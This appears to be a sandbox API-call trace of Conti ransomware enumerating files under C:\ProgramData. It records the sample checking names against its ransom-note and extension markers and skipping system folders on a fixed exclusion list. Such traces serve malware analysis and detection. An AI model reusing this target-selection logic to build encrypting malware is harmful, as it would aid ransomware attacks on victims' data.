	[0098.793] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1
	[0098.793] lstrcmpiW (lpString1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.793] lstrcmpiW (lpString1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.793] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.794] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.794] lstrlenW (lpString="C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned 46
	[0098.794] GetProcessHeap () returned 0x1720000
	[0098.794] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf4) returned 0x17e5e08
	[0098.794] lstrcpyW (in: lpString1=0x17e5e08, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.794] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.794] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Word.Word.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml"
	[0098.794] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1
	[0098.794] lstrcmpiW (lpString1="C2RManifest.wordmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.794] lstrcmpiW (lpString1="C2RManifest.wordmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.794] StrStrIW (lpFirst="C2RManifest.wordmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.794] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.794] lstrlenW (lpString="C2RManifest.wordmui.msi.16.en-us.xml") returned 36
	[0098.794] GetProcessHeap () returned 0x1720000
	[0098.794] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe0) returned 0x17d12f8
	[0098.794] lstrcpyW (in: lpString1=0x17d12f8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.794] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.794] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.wordmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml"
	[0098.795] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb7386f, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eb7386f, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eb7386f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.795] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.795] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.795] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.795] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.795] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1
	[0098.795] lstrcmpiW (lpString1="integrator.exe", lpString2=".") returned 1
	[0098.795] lstrcmpiW (lpString1="integrator.exe", lpString2="..") returned 1
	[0098.795] StrStrIW (lpFirst="integrator.exe", lpSrch=".CONTI") returned 0x0
	[0098.795] StrStrIW (lpFirst="integrator.exe", lpSrch="CONTI_README.txt") returned 0x0
	[0098.795] StrStrIW (lpFirst="integrator.exe", lpSrch=".exe") returned=".exe"
	[0098.795] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1
	[0098.795] lstrcmpiW (lpString1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpString2=".") returned 1
	[0098.795] lstrcmpiW (lpString1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpString2="..") returned 1
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch=".CONTI") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch=".exe") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch=".dll") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch=".lnk") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch=".sys") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch=".CONTI") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.795] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.795] lstrlenW (lpString="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml") returned 53
	[0098.795] GetProcessHeap () returned 0x1720000
	[0098.795] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x102) returned 0x17e5f08
	[0098.795] lstrcpyW (in: lpString1=0x17e5f08, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.795] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.795] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml"
	[0098.795] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0098.795] lstrcmpiW (lpString1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpString2=".") returned 1
	[0098.795] lstrcmpiW (lpString1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpString2="..") returned 1
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch=".CONTI") returned 0x0
	[0098.795] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.796] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch=".exe") returned 0x0
	[0098.796] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch=".dll") returned 0x0
	[0098.796] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch=".lnk") returned 0x0
	[0098.796] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch=".sys") returned 0x0
	[0098.796] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch=".CONTI") returned 0x0
	[0098.796] StrStrIW (lpFirst="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.796] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.796] lstrlenW (lpString="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml") returned 50
	[0098.796] GetProcessHeap () returned 0x1720000
	[0098.796] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfc) returned 0x17e6018
	[0098.796] lstrcpyW (in: lpString1=0x17e6018, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.796] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.796] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml"
	[0098.796] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1
	[0098.796] lstrcmpiW (lpString1="msoutilstat.etw.man", lpString2=".") returned 1
	[0098.796] lstrcmpiW (lpString1="msoutilstat.etw.man", lpString2="..") returned 1
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch=".CONTI") returned 0x0
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch="CONTI_README.txt") returned 0x0
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch=".exe") returned 0x0
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch=".dll") returned 0x0
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch=".lnk") returned 0x0
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch=".sys") returned 0x0
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch=".CONTI") returned 0x0
	[0098.796] StrStrIW (lpFirst="msoutilstat.etw.man", lpSrch="CONTI_README.txt") returned 0x0
	[0098.796] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.796] lstrlenW (lpString="msoutilstat.etw.man") returned 19
	[0098.796] GetProcessHeap () returned 0x1720000
	[0098.796] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x17cbc10
	[0098.796] lstrcpyW (in: lpString1=0x17cbc10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.796] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.796] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="msoutilstat.etw.man" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man"
	[0098.797] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="wordEtw.man", cAlternateFileName="")) returned 1
	[0098.797] lstrcmpiW (lpString1="wordEtw.man", lpString2=".") returned 1
	[0098.797] lstrcmpiW (lpString1="wordEtw.man", lpString2="..") returned 1
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch=".CONTI") returned 0x0
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch="CONTI_README.txt") returned 0x0
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch=".exe") returned 0x0
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch=".dll") returned 0x0
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch=".lnk") returned 0x0
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch=".sys") returned 0x0
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch=".CONTI") returned 0x0
	[0098.797] StrStrIW (lpFirst="wordEtw.man", lpSrch="CONTI_README.txt") returned 0x0
	[0098.797] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.797] lstrlenW (lpString="wordEtw.man") returned 11
	[0098.797] GetProcessHeap () returned 0x1720000
	[0098.797] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xae) returned 0x17c0310
	[0098.797] lstrcpyW (in: lpString1=0x17c0310, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.797] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.797] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="wordEtw.man" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man"
	[0098.797] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="wordEtw.man", cAlternateFileName="")) returned 0
	[0098.797] GetProcessHeap () returned 0x1720000
	[0098.797] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
	[0098.797] FindClose (in: hFindFile=0x17c82f0 | out: hFindFile=0x17c82f0) returned 1
	[0103.339] GetProcessHeap () returned 0x1720000
	[0103.340] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fd90 | out: hHeap=0x1720000) returned 1
	[0103.340] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0103.369] GetProcessHeap () returned 0x1720000
	[0103.369] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bee68 | out: hHeap=0x1720000) returned 1
	[0103.369] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0103.847] GetProcessHeap () returned 0x1720000
	[0103.847] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d508 | out: hHeap=0x1720000) returned 1
	[0103.847] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e63a786, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e63a786, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e63a786, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.849] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.849] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.849] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.849] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.849] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2=".") returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="..") returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="tmp") returned -1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="winnt") returned -1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="Application Data") returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="AppData") returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="temp") returned -1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="thumb") returned -1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="$Recycle.Bin") returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="$RECYCLE.BIN") returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="System Volume Information") returned -1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="Program Files") returned -1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="Program Files (x86)") returned -1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="Boot") returned 1
	[0103.850] lstrcmpiW (lpString1="Crypto", lpString2="Windows") returned -1
	[0103.850] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0103.850] lstrlenW (lpString="Crypto") returned 6
	[0103.850] GetProcessHeap () returned 0x1720000
	[0103.850] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x40) returned 0x17345e8
